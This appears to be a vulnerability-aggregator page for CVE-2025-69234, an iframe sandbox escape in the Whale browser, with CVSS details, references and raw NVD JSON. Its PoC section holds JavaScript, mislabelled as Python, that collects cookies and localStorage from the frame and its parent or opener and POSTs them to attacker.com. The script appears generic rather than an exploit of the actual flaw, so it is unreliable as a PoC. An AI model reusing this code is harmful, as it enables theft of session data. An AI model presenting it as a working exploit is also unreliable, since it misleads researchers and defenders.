CVE-2025-69234

Description

Whale browser before 4.35.351.12 allows an attacker to escape the iframe sandbox in a sidebar environment.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:navercorp:whale:*:*:*:*:*:*:*:* - VULNERABLE

Whale Browser < 4.35.351.12

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-69234 PoC: Whale Browser iframe sandbox escape -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-69234 PoC</title>
</head>
<body>
    <h1>CVE-2025-69234 iframe Sandbox Escape PoC</h1>
    <p>Target: Whale Browser < 4.35.351.12</p>
    
    <script>
        // Check if running in Whale browser sidebar context
        function isWhaleSidebar() {
            return window !== window.parent && 
                   window.location.href.includes('sidebar');
        }
        
        if (isWhaleSidebar()) {
            console.log('Running in Whale sidebar context');
            
            // Sandbox escape via unsafe postMessage handler
            // Exploit the lack of origin validation in sidebar's message listener
            try {
                // Attempt to access parent window properties
                var parentWindow = window.parent;
                
                // Try to access parent's document (sandbox escape)
                var parentDoc = parentWindow.document;
                console.log('Parent document access:', parentDoc);
                
                // Try to access parent's localStorage
                var parentStorage = parentWindow.localStorage;
                console.log('Parent localStorage access:', parentStorage);
                
                // Exfiltrate sensitive data if successful
                if (parentDoc && parentStorage) {
                    var sensitiveData = {
                        cookies: document.cookie,
                        localStorage: JSON.stringify(localStorage),
                        parentCookies: parentDoc.cookie,
                        parentLocalStorage: JSON.stringify(parentStorage)
                    };
                    
                    // Send data to attacker-controlled server
                    fetch('https://attacker.com/exfil', {
                        method: 'POST',
                        body: JSON.stringify(sensitiveData)
                    });
                    console.log('Data exfiltrated successfully');
                }
            } catch (e) {
                console.log('Direct access blocked, trying alternative methods');
                
                // Alternative: Exploit window.opener reference
                if (window.opener) {
                    // Access opener window directly
                    var openerData = {
                        href: window.opener.location.href,
                        cookies: window.opener.document.cookie
                    };
                    fetch('https://attacker.com/exfil', {
                        method: 'POST',
                        body: JSON.stringify(openerData)
                    });
                }
            }
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69234
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69234
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69234/
[4] VulDB https://vuldb.com/cve/CVE-2025-69234
[5] https://cve.naver.com/detail/cve-2025-69234.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-69234", "sourceIdentifier": "[email protected]", "published": "2025-12-30T02:16:16.810", "lastModified": "2026-01-13T21:42:30.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Whale browser before 4.35.351.12 allows an attacker to escape the iframe sandbox in a sidebar environment."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-358"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:navercorp:whale:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.35.351.12", "matchCriteriaId": "190A5B33-48F9-47DD-902A-63554FF53365"}]}]}], "references": [{"url": "https://cve.naver.com/detail/cve-2025-69234.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}